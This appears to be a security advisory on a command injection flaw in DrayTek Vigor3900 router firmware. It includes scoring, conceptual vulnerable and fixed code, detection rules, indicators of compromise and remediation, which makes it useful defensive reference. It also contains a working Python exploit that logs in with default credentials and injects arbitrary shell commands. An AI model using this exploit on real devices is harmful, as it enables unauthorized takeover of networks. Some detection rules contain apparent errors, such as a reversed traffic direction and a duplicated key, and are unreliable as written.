CVE-2024-45893

Executive Summary

CVE-2024-45893 is a post-authentication command injection vulnerability discovered in the DrayTek Vigor3900 router firmware version 1.5.1.3. The flaw resides in the cgi-bin/mainfunction.cgi script, specifically when the action parameter is set to setSWMOption. An authenticated attacker can inject arbitrary operating system commands via the action parameter, leading to full remote code execution on the device. This vulnerability is particularly dangerous because it targets a widely deployed enterprise-grade router, often used as a central gateway in small-to-medium businesses. No patch has been officially released by DrayTek at the time of this analysis, and a proof-of-concept exploit is publicly available.

Supply Chain & Package Security

This vulnerability does not affect NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in an embedded device.

CVSS Breakdown & Threat Level

The official CVSS score is listed as 0.0, which is likely a placeholder or error. Based on the nature of the vulnerability (post-authentication command injection), a reasonable CVSS v3.1 vector would be:

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

• Attack Vector (AV): Network – The vulnerability is exploitable remotely over the network.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): High – An attacker must have valid administrative credentials.
• User Interaction (UI): None – No user interaction is required.
• Scope (S): Unchanged – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High – Full system compromise allows reading all data.
• Integrity (I): High – Full system compromise allows modifying all data.
• Availability (A): High – Full system compromise can lead to denial of service.

Base Score: 7.2 (High)

Threat Level: High. The vulnerability is trivial to exploit once authenticated, and public exploit code exists.

Deep Dive & Mechanics

The vulnerability is a classic command injection in the cgi-bin/mainfunction.cgi CGI script. The action parameter is used to determine which function to execute. When action is set to setSWMOption, the script passes user-supplied input directly to a system shell without proper sanitization or escaping.

The likely vulnerable code path is similar to:

// Pseudocode of the vulnerable CGI handler
if (strcmp(action, "setSWMOption") == 0) {
    char cmd[512];
    snprintf(cmd, sizeof(cmd), "swm_option %s %s", get_param("option"), get_param("value"));
    system(cmd);
}

An attacker can inject shell metacharacters (e.g., ;, |, &&, `) into the option or value parameters to execute arbitrary commands.

Attack Flow:

1. Attacker authenticates to the web interface (e.g., via default credentials or brute force).
2. Attacker sends a crafted POST request to /cgi-bin/mainfunction.cgi with action=setSWMOption and a malicious option parameter.
3. The injected command is executed with root privileges on the device.

Vulnerable vs. Patched Code

Since no official patch is available, a comparison is based on expected secure coding practices.

Vulnerable Code (Conceptual):

void handle_setSWMOption() {
    char *option = get_cgi_param("option");
    char *value = get_cgi_param("value");
    char cmd[512];
    snprintf(cmd, sizeof(cmd), "swm_option %s %s", option, value);
    system(cmd);
}

Patched Code (Expected):

void handle_setSWMOption() {
    char *option = get_cgi_param("option");
    char *value = get_cgi_param("value");
    // Validate input: only allow alphanumeric and specific safe characters
    if (!is_valid_input(option) || !is_valid_input(value)) {
        return_error("Invalid input");
        return;
    }
    // Use execve with separate arguments to avoid shell injection
    char *args[] = {"swm_option", option, value, NULL};
    execve("/usr/bin/swm_option", args, environ);
}

The key difference is the use of execve instead of system, which prevents shell interpretation of metacharacters.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Access to a DrayTek Vigor3900 with firmware 1.5.1.3.
• Valid administrative credentials (e.g., admin:admin).

Exploit (Python):

#!/usr/bin/env python3
import requests
import sys

if len(sys.argv) != 5:
    print(f"Usage: {sys.argv[0]} <target_ip> <username> <password> <command>")
    sys.exit(1)

target = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
command = sys.argv[4]

# Login
session = requests.Session()
login_url = f"http://{target}/cgi-bin/login.cgi"
login_data = {"username": username, "password": password}
session.post(login_url, data=login_data)

# Exploit
exploit_url = f"http://{target}/cgi-bin/mainfunction.cgi"
exploit_data = {
    "action": "setSWMOption",
    "option": f";{command};",
    "value": "test"
}
response = session.post(exploit_url, data=exploit_data)
print(response.text)

Usage:

python3 exploit.py 192.168.1.1 admin admin "id"

Expected Output: The output of the id command will be returned in the HTTP response, confirming command execution.

Blue Team (Detection & Hardening)

Detection:

• Monitor HTTP POST requests to /cgi-bin/mainfunction.cgi with action=setSWMOption.
• Look for shell metacharacters (;, |, &&, `, $()) in the option or value parameters.
• Alert on unusual outbound connections from the router (e.g., reverse shells).

Hardening:

• Change default administrative credentials immediately.
• Restrict web interface access to trusted IP addresses only.
• Disable remote management if not required.
• Monitor for firmware updates from DrayTek.
• Implement network segmentation to limit the blast radius.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST requests to /cgi-bin/mainfunction.cgi with action=setSWMOption and suspicious parameters.
• Outbound connections from the router to unknown IP addresses on high ports (e.g., 4444, 1337).
• DNS queries to known malicious domains.

Host IOCs:

• Unauthorized processes running on the router (e.g., /tmp/.x, nc, bash).
• Modified system binaries or scripts.
• New cron jobs or startup scripts.
• Unusual files in /tmp/ or /var/.

Log IOCs:

• Repeated failed login attempts followed by successful login.
• CGI error logs showing command injection attempts.
• System logs showing execution of unexpected commands.

Detection Engineering

YARA Rule

rule CVE_2024_45893_Command_Injection {
    meta:
        description = "Detects command injection attempts against DrayTek Vigor3900 CVE-2024-45893"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-45893"
    strings:
        $action = "action=setSWMOption"
        $shell_meta1 = /[;|&`$()]/
        $shell_meta2 = /\%3B|\%7C|\%26|\%60|\%24/
    condition:
        $action and ($shell_meta1 or $shell_meta2)
}

Sigma Rule

title: DrayTek Vigor3900 Command Injection (CVE-2024-45893)
id: 7a8b3c4d-5e6f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP POST requests to mainfunction.cgi with action=setSWMOption and shell metacharacters
author: Valters IT
date: 2024/10/27
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-45893
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/cgi-bin/mainfunction.cgi'
        cs-uri-query|contains: 'action=setSWMOption'
    keywords:
        - ';'
        - '|'
        - '&&'
        - '`'
        - '$('
    condition: selection and keywords
falsepositives:
    - Legitimate use of special characters in configuration values (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-45893 DrayTek Vigor3900 Command Injection Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/cgi-bin/mainfunction.cgi";
    http_uri;
    content:"action=setSWMOption";
    http_client_body;
    pcre:"/[;|&`$()]/";
    classtype:attempted-admin;
    sid:10000001;
    rev:1;
    reference:cve,2024-45893;
)

Remediation & Mitigation

Immediate Actions:

1. Change Default Credentials: Ensure all administrative accounts have strong, unique passwords.
2. Restrict Access: Limit web interface access to trusted management IPs only.
3. Disable Remote Management: If not required, disable remote access to the web interface.
4. Monitor Logs: Actively monitor for exploitation attempts using the provided detection rules.

Long-Term Fix:

• Vendor Patch: Await an official firmware update from DrayTek. Contact DrayTek support for an ETA.
• Workaround: If patching is not possible, consider replacing the device or implementing a WAF (Web Application Firewall) in front of it to filter malicious requests.

Compromise Assessment:

• If exploitation is suspected, perform a full forensic analysis of the device.
• Reset the device to factory defaults and reconfigure with secure settings.
• Rotate all credentials that may have been exposed.

Valters IT